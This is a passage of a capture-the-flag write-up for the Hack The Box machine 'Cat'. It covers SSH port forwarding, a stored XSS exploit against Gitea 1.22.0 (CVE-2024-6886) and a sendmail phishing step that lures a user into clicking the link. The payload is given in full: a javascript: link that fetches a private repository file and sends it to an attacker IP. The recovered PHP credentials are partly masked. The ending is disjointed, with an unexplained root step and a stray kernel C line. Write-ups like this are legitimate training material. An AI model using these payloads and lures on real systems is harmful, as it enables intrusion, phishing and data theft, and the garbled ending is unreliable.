Return-Path: <[email protected]>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <[email protected]>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: [email protected]
Message-Id: <[email protected]>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
  • Rosa informs Axel about launching new cat-related web services.
  • Axel needs to email Jobert with details about his Gitea repository for evaluation.
  • The company is developing an employee management system where admins get roles and employees can track tasks.
  • The project is hosted on a private Gitea at: http://localhost:3000/administrator/Employee-management/
  • The README file contains updates and important details.

Therefore, our next step will check for access to Gitea.

Gitea

Port Forward

Gitea is an open-source private Git repository service, typically running on port 3000 by default. The email hint suggests an internal Gitea instance, which we can confirm by checking active network services with:

Except port 3000 for Gitea, we can identify Port 25 & 587 are open for SMTP Mail Services - Port 587 is typically used for mail submission (SMTP with authentication), whereas port 25 is used for mail relay (server-to-server communication).

Port forward them for further exploitation:

Bash
ssh -L 3000:127.0.0.1:3000 -L 25:127.0.0.1:25 -L 587:127.0.0.1:587 [email protected]

Gitea is accessible on http://localhost:3000 and we can identify its version 1.22.0 which is known with some CVE vulnerabilities:

We can log in to Gitea using Axel’s credentials, but there’s nothing useful in his repositories. However, based on the email hint, it’s likely that Jobert is the one managing Gitea.

Search a bit on Internet, CVE-2024-6886 comes into our sight for another Stored XSS in this box.

CVE-2024-6886 | XSS

CVE-2024-6886 indicates that Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability.

  • Gitea allows repository owners/admins to configure Git hooks.
  • Git hooks are scripts that automatically execute predefined actions before or after Git operations (e.g., pre-receive, post-receive).
  • Attackers with admin or owner privileges on a repository can upload a malicious Git hook to execute arbitrary system commands, leading to remote code execution (RCE).

We can now try to exploit the Gitea following the steps introduced on the CVE.

Step 1: HTTP Listener

Set up a Python HTTP server on to receive data extracted from the target:

Bash
python3 -m http.server 80

This will allow us later capturing responses from Jobert clicking the link in the exploit.

Step 2: Create a New Repo on Gitea

After logging in the Gitea on http://localhost:3000 with the credentials of axel, we can create a repository, for example named bad-repo:

This is just a standard repository, which will be used to trick Jobert into interacting with it.

Step 3: Add a File

Add a file under the newly created repository by clicking "New File":

Without a file, the repository remains in an uninitialized state, and the description-based XSS payload won't be executed when the target views it.

Step 4: Inject JavaScript Payload in Description

Then we can modifie the repository description to contain a malicious JavaScript payload:

HTML
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php')
.then(response => response.text())
.then(data => fetch('http://10.10.16.15/?resp=' + encodeURIComponent(data)))
.catch(error => console.error('Error:', error));">EXPLOIT</a>

To exploit this, we need to trick Jobert into viewing the private repository file (Employee-management/raw/branch/main/<file>) and exfiltrating its content to our server using Stored XSS.

From the mail, we know that an important file exists at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md. We are able read it using the techniques introduced later - but it was the first file tested in our exploitation:

# Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees

Since the site is still under development, our best bet is to start by investigating the unfinished index.php:

The JavaScript payload fetches the content of index.php (source code) from the private Gitea repository, which is constructed in a format $username/$repo_name/settings. The one on this server is hosted at http://localhost:3000/administrator/Employee-management which is indicated in the mail. Then it embeds malicious XSS payload fetching back our HTTP server.

Step 5: Trick Jobert into Clicking the Link

We need to send an email to Jobert, as told from the mail:

Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

sendmail is a built-in Linux command used to send emails from the terminal. We can look up the manual book:

Bash
man sendmail 8

Send an message to jobert as instructed by the mail:

Bash
echo -e "Subject: test \n\nThis is a repo from Donald Trump http://localhost:3000/axel/bad-repo" | sendmail jobert@localhost

Step 6: Trigger

Jobert will then receive the email, clicks the link in the repository description to trigger the JavaScript payload in Jobert’s browser session (which has access to our target - the Gitea’s private repository).

On the listener set up in advance, we will then receive a callback:

Decode it to reveal the source code:

PHP
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7▒▒▒▒▒▒';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>

Switch to root user with Jobert's password:

Rooted.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)